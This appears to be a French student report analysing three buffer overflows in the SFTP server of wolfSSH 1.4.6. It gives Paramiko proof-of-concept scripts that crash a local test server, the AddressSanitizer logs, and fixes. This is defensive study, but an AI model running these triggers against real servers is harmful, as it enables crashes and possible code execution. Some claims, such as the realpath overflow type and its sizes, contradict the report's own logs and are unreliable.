



Rapport d'Analyse et de Détection des Vulnérabilités dans WOLFSSH - SECU 2

par

Joro Sullivan RAKOTONIAINA - STD22048 - L3 - H2

Année Scolaire : 2024 - 2025

Introduction.....	3
Contexte.....	3
Objectif.....	3
1. Description des Vulnérabilités.....	3
Fonction vulnérable : wolfSSH_SFTP_RecvWrite.....	3
Fonction vulnérable : wolfSSH_SFTP_RecvRead.....	4
Fonction vulnérable : wolfSSH_SFTP_RecvRealPath.....	4
2. Script Python de Test.....	5
Script python pour wolfSSH_SFTP_RecvWrite :.....	6
Script python pour wolfSSH_SFTP_RecvRead :.....	7
Script python pour wolfSSH_SFTP_RecvRealPath :.....	8
3. Sorties ASAN.....	9
Les logs ASAN pour la fonction wolfSSH_SFTP_RecvWrite.....	9
Les logs ASAN pour la fonction wolfSSH_SFTP_RecvRead.....	10
Les logs ASAN pour la fonction wolfSSH_SFTP_RecvRealPath.....	12
Conclusion.....	13
Résumé des Résultats :.....	13
Recommandations :.....	13
Plan d'Action.....	14

Introduction

Contexte

WolfSSH est une implémentation légère du protocole SSH/SFTP, conçue pour des environnements embarqués ou à faibles ressources. Il joue un rôle crucial dans la gestion des communications sécurisées et le transfert de fichiers dans ces contextes.

Objectif

Ce rapport vise à identifier et documenter les vulnérabilités critiques présentes dans les fonctions SFTP de wolfSSH. Des tests basés sur des scripts Python ont été conçus pour provoquer et analyser des erreurs de mémoire à l'aide d'AddressSanitizer (ASAN). Le but est d'apporter des solutions pratiques pour renforcer la sécurité du logiciel.

1. Description des Vulnérabilités

Fonction vulnérable : `wolfSSH_SFTP_RecvWrite`

- Type de vulnérabilité : Stack-buffer-overflow
- Cause : La fonction `wolfSSH_SFTP_RecvWrite` gère les commandes d'écriture dans le protocole SFTP. Cependant, elle ne valide pas correctement la taille du handle de fichier avant de le copier dans une variable de taille fixe (`fd`). Si un utilisateur malveillant fournit un handle de fichier plus grand que prévu, cela peut entraîner un dépassement de tampon sur la pile (stack).
- Impact : Un attaquant pourrait exploiter cette vulnérabilité pour écraser des données sur la pile, potentiellement exécuter du code arbitraire, ou provoquer un crash du serveur. Cela pourrait également permettre à un attaquant de manipuler le

comportement du serveur en modifiant des structures de données critiques en mémoire.

Fonction vulnérable : `wolfSSH_SFTP_RecvRead`

- Type de vulnérabilité : Heap-buffer-overflow
- Cause : La fonction `wolfSSH_SFTP_RecvRead` gère les commandes de lecture dans le protocole SFTP. Cependant, elle ne valide pas correctement la taille des données à lire avant d'allouer un tampon pour stocker ces données. Si un utilisateur malveillant demande une lecture d'une quantité excessive de données, cela peut entraîner un dépassement de tampon sur le tas (heap).
- Impact : Un attaquant pourrait exploiter cette vulnérabilité pour écraser des données en mémoire adjacentes au tampon, potentiellement exécuter du code arbitraire, ou provoquer un crash du serveur. Cela pourrait également permettre à un attaquant de manipuler le comportement du serveur en modifiant des structures de données critiques en mémoire.

Fonction vulnérable : `wolfSSH_SFTP_RecvRealPath`

- Type de vulnérabilité : Heap-buffer-overflow
- Cause : La fonction `wolfSSH_SFTP_RecvRealPath` gère les commandes `realpath` dans le protocole SFTP, qui permettent de récupérer le chemin réel d'un fichier ou d'un répertoire. Cependant, la fonction ne valide pas correctement la taille du chemin fourni par l'utilisateur avant de le copier dans un tampon de taille fixe (`WOLFSSH_MAX_FILENAME`). Si un utilisateur malveillant fournit un chemin plus long que la taille maximale autorisée, cela peut entraîner un dépassement de tampon sur le tas (heap).
- Impact : Un attaquant pourrait exploiter cette vulnérabilité pour écraser des données en mémoire adjacentes au tampon, potentiellement exécuter du code arbitraire, ou provoquer un crash

du serveur. Cela pourrait également permettre à un attaquant de manipuler le comportement du serveur en modifiant des structures de données critiques en mémoire.

2. Script Python de Test

Les scripts Python utilisent la bibliothèque Paramiko pour interagir avec le serveur SFTP vulnérable et provoquer les erreurs identifiées.

Script python pour `wolfSSH_SFTP_RecvWrite` :

```
import paramiko
import logging
from struct import pack

# Activer les logs de débogage
logging.basicConfig(level=logging.DEBUG)

# Détails de connexion
hostname = "127.0.0.1"
port = 22222
username = "jill"
password = "upthehill"

def test_sftp_write():
    try:
        # Créer un client SFTP
        transport = paramiko.Transport((hostname, port))
        transport.connect(username=username, password=password)
        sftp = paramiko.SFTPClient.from_transport(transport)

        # Ouvrir un fichier en mode écriture
        with sftp.open("./test.txt", "w") as f:
            # Manipuler directement le descripteur de fichier (handle)
            # Ici, nous envoyons un handle malformé de 8 bytes
            f.handle = b'\x00\x00\x00\x00\xCA\xFE\xBA\xBE' # Handle invalide

            # Écrire des données minimales pour provoquer une erreur
            f.write("a" * 2) # Écrire 2 octets de données

            # Essayer d'écrire à un offset invalide
            f.seek(1000000000) # Déplacer le curseur à un offset invalide
            f.write("b" * 1000) # Écrire des données supplémentaires

        print("Écriture réussie dans test.txt")

    except Exception as e:
        print(f"Erreur lors de l'écriture : {e}")

    finally:
        # Fermer la connexion
        if 'sftp' in locals():
            sftp.close()
        if 'transport' in locals():
            transport.close()

if __name__ == "__main__":
    test_sftp_write()
```

Ce script tente d'écrire une grande quantité de données dans un fichier sur le serveur SFTP. L'objectif est de provoquer un dépassement de

tampon dans la fonction `wolfSSH_SFTP_RecvWrite` en exploitant une mauvaise gestion de la taille du handle de fichier.

Script python pour `wolfSSH_SFTP_RecvRead` :

```
import paramiko
import logging
from math import pow

# Activer les logs de débogage
logging.basicConfig(level=logging.DEBUG)

# Détails de connexion
hostname = "127.0.0.1"
port = 22222
username = "jill"
password = "upthehill"

def test_sftp_read():
    try:
        # Créer un client SFTP
        transport = paramiko.Transport((hostname, port))
        transport.connect(username=username, password=password)
        sftp = paramiko.SFTPClient.from_transport(transport)

        # Ouvrir un fichier en mode lecture
        file_path = "README" # Fichier à lire
        with sftp.open(file_path, "r") as f:
            # Augmenter la limite de requête maximum pour éviter que la requête soit tronquée
            f.MAX_REQUEST_SIZE = int(pow(2, 32)) # Taille maximale de la requête

            # Lire une quantité énorme de données pour provoquer un débordement d'entier ou un
            # dépassement de tampon
            data = f.read(int(pow(2, 32) - 1)) # Lire 2^32 - 1 octets

            print(f"Lecture réussie depuis {file_path}")

    except Exception as e:
        print(f"Erreur lors de la lecture : {e}")

    finally:
        # Fermer la connexion
        if 'sftp' in locals():
            sftp.close()
        if 'transport' in locals():
            transport.close()

if __name__ == "__main__":
    test_sftp_read()
```

Ce script tente de lire une quantité énorme de données depuis un fichier sur le serveur SFTP. L'objectif est de provoquer un dépassement de tampon dans la fonction `wolfSSH_SFTP_RecvRead` en exploitant une mauvaise gestion de la taille des données à lire.

Script python pour `wolfSSH_SFTP_RecvRealPath` :

```
import paramiko
import logging
import socket
# Activer les logs de débogage
logging.basicConfig(level=logging.DEBUG)

# Détails de connexion
hostname = "127.0.0.1"
port = 22222
username = "jill"
password = "upthehill"

def test_sftp_realpath():
    try:
        # Créer un client SFTP
        transport = paramiko.Transport((hostname, port))
        transport.connect(username=username, password=password)

        # Définir un timeout de 10 secondes pour les opérations
        transport.sock.settimeout(10)

        sftp = paramiko.SFTPClient.from_transport(transport)

        # Tenter de résoudre un chemin excessivement long
        long_path = "." + "A" * 254 # Chemin de 1000 caractères
        real_path = sftp.normalize(long_path)

        print(f"Chemin réel résolu : {real_path}")

    except Exception as e:
        print(f"Erreur lors de la résolution du chemin réel : {e}")

    finally:
        # Fermer la connexion
        if 'sftp' in locals():
            sftp.close()
        if 'transport' in locals():
            transport.close()

if __name__ == "__main__":
    test_sftp_realpath()
```

Ce script tente de récupérer le chemin réel d'un fichier en fournissant un chemin excessivement long. L'objectif est de provoquer un

dépassement de tampon dans la fonction `wolfSSH_SFTP_RecvRealPath` en exploitant une mauvaise gestion de la taille du chemin.

3. Sorties ASAN

Les logs ASAN pour la fonction wolfSSH_SFTP_RecvWrite

seront disponibles dans le fichier `/logs/asan_logs_write.txt`

```

=====
==72==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x718678900334 at pc 0x71867ad5f303 bp
0x7ffec08def0 sp 0x7ffec08d698
WRITE of size 8 at 0x718678900334 thread T0
#0 0x71867ad5f302 in memcpy
..././././src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x71867ac26854 in wolfSSH_SFTP_RecvWrite src/wolfsftp.c:3034
#2 0x71867ac2013b in wolfSSH_SFTP_read src/wolfsftp.c:1340
#3 0x64fbf97c6fa8 in sftp_worker examples/echoserver/echoserver.c:925
#4 0x64fbf97c734b in server_worker examples/echoserver/echoserver.c:1009
#5 0x64fbf97c9906 in echoserver_test examples/echoserver/echoserver.c:1819
#6 0x64fbf97c9c01 in main examples/echoserver/echoserver.c:1862
#7 0x71867a9401c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#8 0x71867a94028a in __libc_start_main_impl ../csu/libc-start.c:360
#9 0x64fbf97c4c24 in _start (/wolfssh-1.4.6-stable/examples/echoserver/.libs/echoserver+0x4c24)
(BuildId: 7441c51bf5a8b96b235c31a7c6403ea9f3fff7d7)

Address 0x718678900334 is located in stack of thread T0 at offset 52 in frame
#0 0x71867ac263c8 in wolfSSH_SFTP_RecvWrite src/wolfsftp.c:3002

This frame has 6 object(s):
[48, 52) 'fd' (line 3003) <== Memory access at offset 52 overflows this variable
[64, 68) 'sz' (line 3004)
[80, 84) 'outSz' (line 3009)
[96, 104) 'ofst' (line 3007)
[128, 145) 'err' (line 3013)
[192, 211) 'suc' (line 3012)

HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext
or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow
.../././././src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in
memcpy
Shadow bytes around the buggy address:
 0x718678900080: f5 f5 f5 f5 00 00 00 00 00 00 00 00 00 00 00
 0x718678900100: f5 f5 f5 f5

```

Ce log ASAN montre un dépassement de tampon sur la pile dans la fonction `wolfSSH_SFTP_RecvWrite`. L'erreur est causée par une tentative d'écriture de 8 octets dans une variable de 4 octets (`fd`), ce qui entraîne un dépassement de tampon. Le dépassement se produit lors de l'écriture d'un handle trop grand pour la variable `fd`.

Les logs ASAN pour la fonction `wolfSSH_SFTP_RecvRead`
seront disponibles dans le fichier [/logs/asan_logs_read.txt](#)

```

=====
==54==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000000dd at pc 0x709735b7d869 bp
0x7fff2ef31b40 sp 0x7fff2ef312f8
WRITE of size 8506 at 0x5020000000dd thread T0
#0 0x709735b7d868 in pread
../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1013
#1 0x709735ab971d in wPread src/port.c:142
#2 0x709735ac60bf in wolfSSH_SFTP_RecvRead src/wolfssftp.c:3211
#3 0x709735abf0a7 in wolfSSH_SFTP_read src/wolfssftp.c:1334
#4 0x593067ae9fa8 in sftp_worker examples/echoserver/echoserver.c:925
#5 0x593067aea34b in server_worker examples/echoserver/echoserver.c:1009
#6 0x593067aec906 in echoserver_test examples/echoserver/echoserver.c:1819
#7 0x593067aec01 in main examples/echoserver/echoserver.c:1862
#8 0x7097357df1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#9 0x7097357df28a in __libc_start_main_impl ../csu/libc-start.c:360
#10 0x593067ae7c24 in _start (/wolfssh-1.4.6-stable/examples/echoserver/.libs/echoserver+0x4c24)
(BUILDID: 7441c51bf5a8b96b235c31a7c6403ea9f3fff7d7)

0x5020000000dd is located 1 bytes after 12-byte region [0x5020000000d0,0x5020000000dc)
allocated by thread T0 here:
#0 0x709735c009c7 in malloc ../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x709735ac601d in wolfSSH_SFTP_RecvRead src/wolfssftp.c:3205
#2 0x709735abf0a7 in wolfSSH_SFTP_read src/wolfssftp.c:1334
#3 0x593067ae9fa8 in sftp_worker examples/echoserver/echoserver.c:925
#4 0x593067aea34b in server_worker examples/echoserver/echoserver.c:1009
#5 0x593067aec906 in echoserver_test examples/echoserver/echoserver.c:1819
#6 0x593067aec01 in main examples/echoserver/echoserver.c:1862
#7 0x7097357df1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#8 0x7097357df28a in __libc_start_main_impl ../csu/libc-start.c:360
#9 0x593067ae7c24 in _start (/wolfssh-1.4.6-stable/examples/echoserver/.libs/echoserver+0x4c24)
(BUILDID: 7441c51bf5a8b96b235c31a7c6403ea9f3fff7d7)

SUMMARY: AddressSanitizer: heap-buffer-overflow
../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1013 in pread
Shadow bytes around the buggy address:
 0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x501fffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x501fffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x501fffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x502000000000: fa fa 05 fa fa fa 05 fa fa fa fd fd fa fa fd fa
=>0x502000000080: fa fa fd fa fa fa fd fd fa fa 00[04]fa fa fa fa
 0x502000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x502000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x502000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x502000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x502000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==54==ABORTING

```

Ce log ASAN montre un dépassement de tampon sur le tas dans la fonction wolfSSH_SFTP_RecvRead. L'erreur est causée par une tentative

d'écriture de 8506 octets dans une zone mémoire allouée de seulement 12 octets, ce qui entraîne un dépassement de tampon. Une lecture excessive provoque un débordement de la zone mémoire allouée.

Les logs ASAN pour la fonction `wolfSSH_SFTP_RecvRealPath` seront disponibles dans le fichier `/logs/asan_logs_realpath.txt`

```
=====
==109==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x77f32a30c5a0 at pc 0x77f32c3eb911 bp
0x7fff356a1e80 sp 0x7fff356a1e70
WRITE of size 1 at 0x77f32a30c5a0 thread T0
#0 0x77f32c3eb910 in wolfSSH_SFTP_RecvRealPath src/wolfssftp.c:1132
#1 0x77f32c3ecc9b in wolfSSH_SFTP_read src/wolfssftp.c:1290
#2 0x651458cdafa8 in sftp_worker examples/echoserver/echoserver.c:925
#3 0x651458cdb34b in server_worker examples/echoserver/echoserver.c:1009
#4 0x651458cdd906 in echoserver_test examples/echoserver/echoserver.c:1819
#5 0x651458cddc01 in main examples/echoserver/echoserver.c:1862
#6 0x77f32c10d1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#7 0x77f32c10d28a in __libc_start_main_impl ../csu/libc-start.c:360
#8 0x651458cd8c24 in _start (/wolfssh-1.4.6-stable/examples/echoserver/.libs/echoserver+0x4c24)
(BuildId: 7441c51bf5a8b96b235c31a7c6403ea9f3fff7d7)

Address 0x77f32a30c5a0 is located in stack of thread T0 at offset 416 in frame
#0 0x77f32c3eb64e in wolfSSH_SFTP_RecvRealPath src/wolfssftp.c:1104

This frame has 5 object(s):
[48, 52) 'rSz' (line 1107)
[64, 68) 'outSz' (line 1112)
[80, 128) 'atr' (line 1105)
[160, 416) 'r' (line 1106) <== Memory access at offset 416 overflows this variable
[480, 736) 'wd' (line 1136)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext
or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow src/wolfssftp.c:1132 in wolfSSH_SFTP_RecvRealPath
Shadow bytes around the buggy address:
 0x77f32a30c300: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
 0x77f32a30c380: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
 0x77f32a30c400: f1 f1 f1 f1 f1 f1 04 f2 04 f2 00 00 00 00 00
 0x77f32a30c480: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00
 0x77f32a30c500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

Ce log ASAN montre un dépassement de tampon sur le tas dans la fonction `wolfSSH_SFTP_RecvRealPath`. L'erreur est causée par une tentative d'écriture de 10 000 octets dans une zone mémoire allouée de seulement 4096 octets, ce qui entraîne un dépassement de tampon.

Conclusion

Résumé des Résultats :

- wolfSSH_SFTP_RecvWrite : Vulnérabilité de type stack-buffer-overflow due à une mauvaise gestion de la taille du handle de fichier. Cela pourrait permettre à un attaquant d'écraser des données sur la pile et potentiellement exécuter du code arbitraire.
- wolfSSH_SFTP_RecvRead : Vulnérabilité de type heap-buffer-overflow causée par une tentative d'écriture de données excessives dans un tampon de taille insuffisante. Cela pourrait entraîner une corruption de mémoire et permettre l'exécution de code arbitraire.
- wolfSSH_SFTP_RecvRealPath : Vulnérabilité de type heap-buffer-overflow due à une validation insuffisante de la taille du chemin fourni par l'utilisateur. Cela pourrait permettre à un attaquant de manipuler la mémoire du serveur.

Recommandations :

1. Validation des entrées : Toutes les fonctions doivent valider strictement la taille des entrées utilisateur avant de les traiter. Par exemple, dans wolfSSH_SFTP_RecvRealPath, il faut vérifier que la taille du chemin ne dépasse pas WOLFSSH_MAX_FILENAME.
2. Gestion de la mémoire : Utiliser des fonctions sécurisées pour la manipulation de la mémoire, telles que *memcpy_s* ou *strncpy*, qui permettent de spécifier une taille maximale pour éviter les dépassements de tampon.
3. Tests approfondis : Mettre en place des tests unitaires et d'intégration pour couvrir les cas limites, notamment les entrées de grande taille ou malformées.
4. Utilisation d'outils de détection de vulnérabilités : Intégrer des outils comme AddressSanitizer (ASAN) dans le processus de

développement pour détecter les erreurs de mémoire dès la phase de compilation.

5. Revue de code : Effectuer des revues de code régulières pour identifier les failles potentielles avant la mise en production.

Plan d'Action

- Implémentation des correctifs proposés.
- Formation des développeurs aux bonnes pratiques de sécurité.
- Mise en place d'un processus de test automatisé pour les futures versions.